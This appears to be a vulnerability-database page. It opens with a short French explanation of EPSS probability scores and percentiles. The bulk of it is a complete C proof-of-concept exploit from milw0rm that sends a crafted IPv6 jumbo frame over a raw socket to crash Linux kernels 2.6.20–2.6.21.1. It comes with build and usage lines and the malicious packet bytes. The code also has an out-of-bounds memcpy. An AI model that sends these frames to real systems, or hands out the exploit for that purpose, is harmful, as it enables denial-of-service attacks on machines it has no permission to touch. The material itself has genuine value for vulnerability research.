Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * Clemens Kurtenbach <ckurtenbach at s21sec . com> * PoC code for exploiting the jumbo bug found in * linux kernels >=2.6.20 and <=2.6.21.1 * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash * */ /* io */ #include <stdio.h> #include <string.h> #include <stdlib.h> /* network */ #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/if_arp.h> #include <netdb.h> #include <linux/if.h> #define MY_FRAME_LEN 1145 char *resolve6(unsigned char *target) { char *ret_addr; struct in6_addr my_in6; char *glob_addr = (char *) &my_in6; struct addrinfo addr_hints, *addr_result; unsigned char out[64]; memset(&addr_hints, 0, sizeof(addr_hints)); addr_hints.ai_family = AF_INET6; if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) { printf("getaddrinfo() error\n"); exit(1); } if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){ printf("getnameinfo() error\n"); exit(1); } if(inet_pton(AF_INET6, out, glob_addr) < 0) { printf("inet_pton() error\n"); exit(1); } if((ret_addr = malloc(16)) == NULL) { printf("malloc() error\n"); exit(1); } memcpy(ret_addr, my_in6.s6_addr, 16); return ret_addr; } int main(int argc, char *argv[]) { if (argc < 4) { printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> <00:11:22:33:44:55> <eth0>\n"); exit(1); } /* handle IPv6 destination */ unsigned char *dest_ip = resolve6(argv[1]); /* handle MAC */ unsigned char dest_mac[7]; sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int*)&dest_mac[0], (unsigned int*)&dest_mac[1], (unsigned int*)&dest_mac[2], (unsigned int*)&dest_mac[3], (unsigned int*)&dest_mac[4], (unsigned int*)&dest_mac[5]); /* handle interface */ unsigned char *iface; iface = argv[3]; /* buffer for ethernet frame */ void *buffer = (void*)malloc(MY_FRAME_LEN); /* pointer to ethenet header */ unsigned char *etherhead = buffer; struct ethhdr *eh = (struct ethhdr *)etherhead; /* our MAC address */ unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }; unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02}; /* prepare socket */ int s; s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { printf("cannot create socket: [%d]\n",s); exit(1); } /* RAW communication */ struct sockaddr_ll socket_address; socket_address.sll_family = PF_PACKET; socket_address.sll_protocol = htons(ETH_P_IP); socket_address.sll_ifindex = if_nametoindex(iface); socket_address.sll_hatype = ARPHRD_ETHER; socket_address.sll_pkttype = PACKET_OTHERHOST; socket_address.sll_halen = ETH_ALEN; /* set the frame header */ memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN); memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN); eh->h_proto = 0xdd86; // IPv6 /* the buffer we want to send */ unsigned char bad_buffer[] = { 0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 }; memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN); /* overwrite our src and dst ip */ memcpy((void*)(buffer+22), (void*)src_ip, 16); memcpy((void*)(buffer+38), dest_ip, 16); /* send the buffer */ int send_result = 0; send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct sockaddr*)&socket_address, sizeof(socket_address)); if (send_result == -1) { printf("could not send frame: [%d]\n", send_result); exit(1); } else printf("frame send to ip [%s] with mac [%s] on iface [%s]\n",argv[1],argv[2],argv[3]); return 0; } // milw0rm.com [2008-01-11]